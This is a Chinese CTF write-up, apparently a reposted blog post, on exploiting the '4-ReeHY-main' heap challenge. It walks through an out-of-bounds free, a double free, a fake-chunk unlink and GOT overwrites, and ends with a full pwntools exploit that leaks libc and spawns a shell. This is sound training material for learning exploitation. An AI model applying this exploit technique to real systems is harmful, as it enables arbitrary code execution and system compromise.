4-ReeHY-main-double_free

4-ReeHY-main-double_free

拿到程序看一下保护和内容只开了NX保护
在这里插入图片描述
在这里插入图片描述

是一个有关于堆的创建删除编辑的程序。拿到程序寻找漏洞点。首先进入create函数


  int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  void *dest; // [rsp+80h] [rbp-10h]
  int v3; // [rsp+88h] [rbp-8h]
  size_t nbytes; // [rsp+8Ch] [rbp-4h]

  result = counter;
  if ( counter <= 4 )
  {
    puts("Input size");
    result = read_0();
    LODWORD(nbytes) = result;
    if ( result <= 0x1000 )
    {
      puts("Input cun");
      result = read_0();
      v3 = result;
      if ( result <= 4 )
      {
        dest = malloc((signed int)nbytes);
        puts("Input content");
        if ( (signed int)nbytes > 112 )
        {
          read(0, dest, (unsigned int)nbytes);
        }
        else
        {
          read(0, &buf, (unsigned int)nbytes);
          memcpy(dest, &buf, (signed int)nbytes);
        }
        *(_DWORD *)(size_1 + 4LL * v3) = nbytes;
        *((_QWORD *)&content + 2 * v3) = dest;
        flag[4 * v3] = 1;
        ++counter;
        result = fflush(stdout);
      }
    }
  }
  return result;
}
__int64 read_0()
{
  char buf; // [rsp+2h] [rbp-Eh]

  read(0, &buf, 0xAuLL);
  return (unsigned int)atoi(&buf);
}

size和cun都为无符号整形,可以形成堆越界

 __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to dele");
  result = read_0();
  v1 = result;
  if ( (signed int)result <= 4 )
  {
    free(*((void **)&content + 2 * (signed int)result));
    flag[4 * v1] = 0;
    puts("dele success!");
    result = (unsigned int)(counter-- - 1);
  }
  return result;
}
__int64 read_0()
{
  char buf; // [rsp+2h] [rbp-Eh]

  read(0, &buf, 0xAuLL);
  return (unsigned int)atoi(&buf);
}

函数read_0函数返回的是无符号整形free函数可以造成越界的效果。而且free之后的指针没有立即清0,形成了野指针,且没有进行判断,可以利用doublefree。再看一下edit函数

puts("Chose one to edit");
  result = read_0();
  v1 = result;
  if ( result <= 4 )
  {
    result = flag[4 * result];
    if ( result == 1 )
    {
      puts("Input the content");
      read(0, *((void **)&content + 2 * v1), *(unsigned int *)(4LL * v1 + size_1));
      result = puts("Edit success!");
    }
  }
  return result;
}

需要flag标志位为1才能够进行编辑。

Double free

1.前提条件

— 分配的内存不能太小,在linux中,小于一定大小的内存会用fastbins的形式进行分配。这样的内存在free后不会用双向链表管理。

— 需要有相邻的两块内存先后被free。在一块内存被free时,系统会检查与之相邻的前后2块内存块是否在使用。如果处于空闲状态的话,就会将先前free的内存从双向链表中删除,然后将2块内存合并成一个大的空闲内存再重新链接入双向链表中。

解题过程

1.首先开辟两个大小0x80的堆。

在这里插入图片描述

两个堆的地址存放在603060和6030F0处

在这里插入图片描述

接下来delete(-2)即,free保存长度的地方,在接着分配一个内存大小和保存长度大小一样的内存,将长度重新赋值

在这里插入图片描述
在这里插入图片描述

之后实现堆溢出,修改第二个chunk,伪造第一个chunk为free的状态,这样free 第二个chunk时就能够unlink在这里插入图片描述

fd设置为0x6020c8,bk设置为0x6020d0.这样做的目的有2

1.绕过unlink的检查机制

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

大意为:

前一个bin的bk要为当前的bin的指针 *(0x6020c8+0x18)=0x603060

后一个bin的fd要为当前bin的指针 *(0x6020d0+0x10)=0x603060

2.触发unlink机制后第一个chunk的指针变为0x6020c8,unlink机制如下

/* Take a chunk off a bin list */
define unlink(P, BK, FD) {                                           
  FD = P->fd;     //FD=0X6020C8                                                     
  BK = P->bk;     //BK=0x6020d0
  FD->bk = BK;    //*(0x6020c8+0x18) =0x6020d0                                               
  BK->fd = FD;    //*(0x6020d0+0x10)=0x6020c8                                                   
}

unlink之后这样存储第一个chunk处的地址转换为0x6020c8

在这里插入图片描述

这样我们便可以修改0x6020c8之后的内容,将三个指针全部进行修改分别修改为free,puts和atoi的got表地址

在这里插入图片描述

这样我们便可以修改free的got表内容为puts函数的地址,我们调用一次free函数free掉第二个指针即0x602020,这样我们就可以打印puts函数的地址,之后通过所给的libc求出system地址,再将atoi的got表地址改为system函数的地址这样执行atoi函数就相当于执行system函数,由于atoi参数为我们所输入的因此我们直接输入/bin/sh即可

最后EXP如下:

from pwn import *
context.log_level='debug'

p=remote('111.198.29.45','56686')
#p=process('4-ReeHY-main')
def create(size,cun,payload):
    p.recvuntil('$ ')
    p.sendline('1')
    p.recvuntil('Input size\n')
    p.sendline(str(size))
    p.recvline('Input cun\n')
    p.sendline(str(cun))
    p.recvuntil('Input content\n')
    p.send(str(payload))
def delete(cun):
    p.recvuntil('$ ')
    p.sendline('2')
    p.recvuntil('Chose one to dele\n')
    p.sendline(str(cun))
def edit(cun,payload):
    p.recvuntil('$ ')
    p.sendline('3')
    p.recvuntil('Chose one to edit\n')
    p.sendline(str(cun))
    p.recvuntil('Input the content\n')
    p.send(str(payload))

p.recvuntil('$ ')
p.sendline('playmaker')
create(128,0,'a'*128)
create(128,1,'0'*128)
delete(-2)
payload=p32(256)+p32(128)
create(20,2,payload)
#fake chunk 0
payload1=p64(0)+p64(0x81)
payload1+=p64(0x6020c8)+p64(0x6020d0)#fd&bk
payload1+='a'*96
payload1+=p64(0x80)+p64(0x90)
edit(0,payload1)
#unlink

delete(1)
payload2=p64(0)
payload2+=p64(0)+p64(0)
payload2+=p64(0x602018)+p64(1)#free_got
payload2+=p64(0x602020)+p64(1)#puts_got
payload2+=p64(0x602058)+p64(1)#atoi
edit(0,payload2)
edit(0,p64(0x4006d0))#edit free_got to puts_plt
#gdb.attach(p)
#pause()
delete(1)#print put_got
puts_got_addr=u64(p.recv(6)+'\x00'+'\x00')
base_addr=puts_got_addr-0x6F690
system_addr=base_addr+0x45390
bin_sh=base_addr+0x18cd57
edit(2,p64(system_addr))
p.recvuntil('$ ')
p.sendline('/bin/sh')
p.interactive()
发布了49 篇原创文章 · 获赞 14 · 访问量 6925

猜你喜欢

转载自blog.csdn.net/qq_39268483/article/details/92084729